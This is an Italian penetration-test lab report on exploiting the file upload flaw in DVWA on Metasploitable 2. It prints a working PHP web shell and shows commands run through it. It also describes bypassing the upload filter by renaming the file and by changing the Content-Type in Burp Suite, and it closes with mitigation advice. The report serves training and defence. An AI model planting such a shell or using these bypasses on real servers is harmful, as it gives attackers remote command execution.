

Report Tecnico: Exploitation Vulnerabilità File Upload su DVWA

Data: 13 Gennaio 2026

Analista: Kevin Motti

Target: Metasploitable 2 (DVWA - Damn Vulnerable Web Application)

Strumenti: Kali Linux, Burp Suite, PHP

1. Introduzione e Obiettivo

Il presente documento illustra i risultati dell'attività di Penetration Testing condotta sull'applicazione web DVWA. L'obiettivo dell'attività è verificare la robustezza dei controlli di sicurezza relativi al caricamento di file (File Upload) attraverso diversi livelli di sicurezza (Low e Medium) e dimostrare la possibilità di ottenere l'Esecuzione di Codice in Remoto (RCE).

Questa vulnerabilità rientra nella categoria OWASP Top 10 (A04:2021-Insecure Design). Un 'Unrestricted File Upload' permette a un attaccante di caricare script malevoli (es. Web Shell), garantendo potenzialmente il controllo totale della macchina ospite.

2. Configurazione e Connettività

Prima di avviare l'attacco, è stata verificata la raggiungibilità della macchina target (Metasploitable) dalla macchina attaccante (Kali Linux).

Test di Connettività:

È stato eseguito un ping verso l'indirizzo IP del target (192.168.50.11) per confermare la visibilità di rete.

```
msfadmin@metasploitable:~$ ping 192.168.50.10
PING 192.168.50.10 (192.168.50.10) 56(84) bytes of data.
64 bytes from 192.168.50.10: icmp_seq=1 ttl=64 time=0.288 ms
64 bytes from 192.168.50.10: icmp_seq=2 ttl=64 time=0.319 ms
64 bytes from 192.168.50.10: icmp_seq=3 ttl=64 time=0.688 ms
64 bytes from 192.168.50.10: icmp_seq=4 ttl=64 time=0.262 ms
64 bytes from 192.168.50.10: icmp_seq=5 ttl=64 time=0.255 ms
64 bytes from 192.168.50.10: icmp_seq=6 ttl=64 time=0.314 ms
64 bytes from 192.168.50.10: icmp_seq=7 ttl=64 time=0.360 ms
```

```

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel st
    link/ether 08:00:27:1f:b7:23 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.10/24 brd 192.168.50.255 scope global dynamic nop
        valid_lft 7004sec preferred_lft 7004sec
    inet6 fe80::c218:8643:f122:b626/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali@kali)-[~]
$ ping 192.168.50.11
PING 192.168.50.11 (192.168.50.11) 56(84) bytes of data.
64 bytes from 192.168.50.11: icmp_seq=1 ttl=64 time=1.42 ms
64 bytes from 192.168.50.11: icmp_seq=2 ttl=64 time=0.296 ms
64 bytes from 192.168.50.11: icmp_seq=3 ttl=64 time=0.220 ms
64 bytes from 192.168.50.11: icmp_seq=4 ttl=64 time=0.319 ms
64 bytes from 192.168.50.11: icmp_seq=5 ttl=64 time=0.296 ms
64 bytes from 192.168.50.11: icmp_seq=6 ttl=64 time=0.395 ms
64 bytes from 192.168.50.11: icmp_seq=7 ttl=64 time=0.489 ms
64 bytes from 192.168.50.11: icmp_seq=8 ttl=64 time=0.646 ms
^C
— 192.168.50.11 ping statistics —
8 packets transmitted, 8 received, 0% packet loss, time 7151ms
rtt min/avg/max/mdev = 0.220/0.510/1.420/0.366 ms

(kali@kali)-[~]

```

L'esito positivo del test conferma che le due macchine sono sulla stessa sottorete e possono comunicare, prerequisito necessario per l'intercettazione del traffico e l'esecuzione dell'exploit.

3. Preparazione del Payload (Analisi Statica)

Per sfruttare la vulnerabilità, è stato creato uno script PHP personalizzato ("Web Shell") dentro l'editor di testo "nano" della macchina kali. A differenza di tool automatici, la scrittura manuale del payload permette di eludere firme antivirus basilari e di comprendere il funzionamento backend.

Codice del Payload (cmd.php):

```
GNU nano 8.7
<?php

if(isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>
```

Analisi del Codice:

- **<?php:** È il tag di apertura standard per il codice PHP. Dice al server: "Tutto ciò che segue deve essere interpretato ed eseguito come codice PHP, non come semplice testo HTML".
- **if(isset(\$_GET['cmd'])) {:** isset() verifica se il parametro dentro le parentesi esiste ed è diverso da null, \$_GET raccoglie i dati passati tramite l'URL, ['cmd'] cerca specificamente un parametro chiamato "cmd".
- **Funzione system():** È una funzione che permette di eseguire comandi diretti sulla shell del sistema operativo ospite, ereditando i privilegi dell'utente che esegue il servizio web (es. www-data).
- **Variabile \$_GET['cmd']:** Agisce come vettore di attacco (input vector), permettendo all'attaccante di iniettare comandi arbitrari direttamente nell'URL (es. ?cmd=whoami).

4. Fase 1: Exploitation a Livello di Sicurezza "Low"

In questa prima fase, il livello di sicurezza della DVWA è stato impostato su **Low**.

Analisi:

A questo livello, l'applicazione non implementa alcun controllo sul tipo o sul contenuto del file caricato. Si affida ciecamente all'input dell'utente.

Esecuzione:

1. È stato selezionato il file cmd.php creato in precedenza.
2. Il caricamento è avvenuto con successo immediato, senza necessità di utilizzare tecniche di evasione.
3. Il server ha restituito il percorso relativo del file caricato (../../hackable/uploads/cmd.php).

Choose an image to upload:

Browse...

No file selected.

Upload

../../../../hackable/uploads/cmd.php.jpeg succesfully uploaded!

Verifica RCE (Low):

Navigando all'URL del file e aggiungendo una concatenazione di parametri get (?cmd=id, pwd, uname -a, ls -la) il server ha eseguito il comando restituendo l'ID dell'utente corrente (www-data), il percorso della directory attuale, gli username e infine il contenuto della cartella. confermando la compromissione totale del sistema a questo livello.

```
← → ↺ 🏠 🔒 Not Secure http://192.168.50.11/dvwa/hackable/uploads/cmd.php?cmd=id ; pwd ; uname -a ; ls -la
OffSec Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/dvwa/hackable/uploads
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
total 16
drwxr-xr-x 2 www-data www-data 4096 Jan 12 18:13 .
drwxr-xr-x 4 www-data www-data 4096 May 20 2012 ..
-rw-r--r-- 1 www-data www-data 101 Jan 12 18:13 cmd.php
-rw-r--r-- 1 www-data www-data 667 Mar 16 2010 dvwa_email.png
```

5. Fase 2: Escalation a Livello di Sicurezza "Medium"

Per testare la robustezza dei filtri, il livello di sicurezza della DVWA è stato innalzato a Medium. Tentando di caricare nuovamente lo stesso file cmd.php, l'applicazione ha respinto l'upload visualizzando un messaggio di errore.

```
Your image was not uploaded.

Warning: Cannot modify header information - headers already sent by (output started at /var/www/dvwa/vulnerabilities/upload/source/medium.php:28) in /var/www/dvwa/dvwa/includes/dvwaPage.inc.php on line 324
Warning: Cannot modify header information - headers already sent by (output started at /var/www/dvwa/vulnerabilities/upload/source/medium.php:28) in /var/www/dvwa/dvwa/includes/dvwaPage.inc.php on line 325
Warning: Cannot modify header information - headers already sent by (output started at /var/www/dvwa/vulnerabilities/upload/source/medium.php:28) in /var/www/dvwa/dvwa/includes/dvwaPage.inc.php on line 326
```

In burp suite analizzando l'header della risposta del server ho trovato un link che ritenevo interessante.

```

70 <ul>
71 <li><a href="
http://hiderefer.com/?http://www.owasp.org/index.php/Unrestricted_File_Upload"
target="_blank">http://www.owasp.org/index.php/Unrestricted_File_Upload</a></li>
72 <li><a href="
http://hiderefer.com/?http://blogs.securiteam.com/index.php/archives/1268" target="
_blank">http://blogs.securiteam.com/index.php/archives/1268</a></li>
73 <li><a href="
http://hiderefer.com/?http://www.acunetix.com/websitesecurity/upload-forms-threat.h
tm" target="_blank">http://www.acunetix.com/websitesecurity/upload-forms-threat.htm
</a></li>
74 </ul>
75
76 </div>
77

```

Dirigendomi all'indirizzo fornito dal link sono riuscito a trovare dentro il sito OWASP un articolo in cui viene spiegato in dettaglio come i server con scarsi controlli sul tipo e contenuto dei file caricati possano essere bypassati con una semplice rinomina dell'estensione.

Weak Protections and Bypassing Methods

Deny Listing File Extensions

This protection might be bypassed by:

- Finding missed extensions that can be executed on the server side or can be dangerous on the client side (e.g. ".php5", ".pht", ".phtml", ".shtml", ".asa", ".cer", ".asax", ".swf", or ".xap").
- Finding flaws in a web server configuration when it parses files with double extensions or it executes them by providing a sensitive extension after a delimiter such as "/" or ";" character (e.g. "/file.jpg/index.php" when the "file.jpg" file contains PHP code and has been uploaded)
 - In Apache, a php file might be executed using the double extension technique such as "file.php.jpg" when ".jpg" is allowed.
 - In IIS6 (or prior versions), a script file can be executed by using one of these two methods:
 - by adding a semi-colon character after the forbidden extension and before the permitted one (e.g. "file.asp;.jpg")
 - by renaming a script file's extension (e.g. ".asp") to an allowed extension (e.g. ".txt") in a folder

Questo mi ha dato l'idea per la fase successiva.

5.1 Tentativo Preliminare: Rinomina dell'Estensione

Come primo tentativo di bypass, è stata testata la validazione dell'estensione del file.

- **Azione:** Il file cmd.php è stato rinominato in cmd.jpeg direttamente dal desktop.



- **Risultato:** Il file è stato caricato con successo e il server ha risposto ai miei comandi .
- **Conclusione:** questo metodo è stato sufficiente per bypassare le contromisure di sicurezza prese dalla DVWA ma per andare più a fondo nell'analisi utilizzerò burp suite per intercettare e modificare il traffico al momento dell'upload.

5.2 Analisi Professionale del Traffico (Burp Suite)

Per superare il blocco mantenendo l'estensione .php, è stato utilizzato **Burp Suite** per intercettare e analizzare la richiesta HTTP.

Analisi della Richiesta Intercettata:

```

18
19 100000
20 -----geckoformboundaryea2e2c7150b5af99634b35ec0e9d1ffb
21 Content-Disposition: form-data; name="uploaded"; filename="cmd.php"
22 Content-Type: application/x-php
23
--

```

L'analisi conferma una vulnerabilità di validazione dell'input: il server si affida a un parametro controllato dall'utente (Content-Type) invece di eseguire una validazione lato server indipendente.

- Header rilevato: Content-Type: application/x-php (Bloccato dal server).

5.3 Exploitation: Bypass tramite MIME-Type Tampering

Per aggirare il filtro, è stata manipolata la richiesta "on-the-fly".

Procedura:

1. Il file originale cmd.php è stato inviato all'upload.
2. La richiesta è stata intercettata nel Proxy di Burp.
3. Il valore dell'header Content-Type è stato modificato manualmente:
 - **DA:** Content-Type: application/x-php
 - **A:** Content-Type: image/jpeg
4. L'estensione del file (filename="cmd.php") è stata lasciata inalterata.

```

100000
-----geckoformboundaryle8f0f8
Content-Disposition: form-data
Content-Type: image/jpeg

```

Risultato:

Il server, ingannato dall'header image/jpeg, ha accettato il file .php ritenendolo sicuro.



Choose an image to upload:

No file selected.

../../../hackable/uploads/cmd.php.jpeg succesfully uploaded!

6. Verifica Finale dell'Esecuzione (RCE)

Con il file .php caricato correttamente anche a livello Medium, è stato possibile procedere all'esecuzione dei comandi.

Test Eseguito:

- **URL:** .../hackable/uploads/cmd.php?cmd=netstat -antp
- **Risultato:** Il server ha risposto con un'istantanea di tutte le connessioni di rete TCP attive sul sistema.

```
← → ↻ 🏠 🔒 Not Secure http://192.168.50.11/dvwa/hackable/uploads/cmd.php?cmd= netstat -antp
🔧 OffSec 🐧 Kali Linux 🛠️ Kali Tools 📄 Kali Docs 🗣️ Kali Forums 🏹 Kali NetHunter 🗡️ Exploit-DB 🗄️ Google Hacking DB

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address          State                    PID/Program name
tcp        0      0 0.0.0.0:512             0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:513             0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:2049            0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:514             0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:52934           0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:8009            0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:6697            0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:50954           0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:3306             0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:1099            0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:6667            0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:139             0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:5900            0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:111             0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:6000            0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:80              0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:8787            0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:8180            0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:1524            0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:192.168.50.11:53 0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:21              0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:127.0.0.1:53     0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:23              0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:56024           0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:5432            0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:25              0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:127.0.0.1:953   0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:445             0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:45085           0.0.0.0:*                LISTEN                   -
tcp        0      0 0.0.0.0:192.168.50.11:80 192.168.50.10:36244     ESTABLISHED              -
tcp6       0      0 :::2121                 :::*                      LISTEN                   -
tcp6       0      0 :::3632                 :::*                      LISTEN                   -
tcp6       0      0 :::53                   :::*                      LISTEN                   -
tcp6       0      0 :::22                   :::*                      LISTEN                   -
tcp6       0      0 :::5432                 :::*                      LISTEN                   -
tcp6       0      0 :::1953                 :::*                      LISTEN                   -
```

7. Conclusioni e Raccomandazioni

L'attività ha dimostrato che la DVWA (in configurazione Medium Security) è vulnerabile ad attacchi di File Upload. Sebbene sia presente un controllo sul tipo di file, questo è implementato in modo insicuro (client-side trust), rendendolo facilmente aggirabile tramite un Proxy HTTP.

Valutazione del Rischio: CRITICA

Misure di Mitigazione Suggeste:

1. **Verifica del Contenuto (Magic Bytes):** Implementare controlli lato server che verifichino i primi byte del file per **determinarne il vero formato**, ignorando l'header Content-Type.
2. **Rinomina dei File:** Rinominare casualmente i file caricati (es. UUID) e forzare l'estensione sicura (es. .jpg) lato server.
3. **Cartelle Non-Eseguibili:** Configurare il server web affinché la cartella degli upload non abbia permessi di esecuzione per script.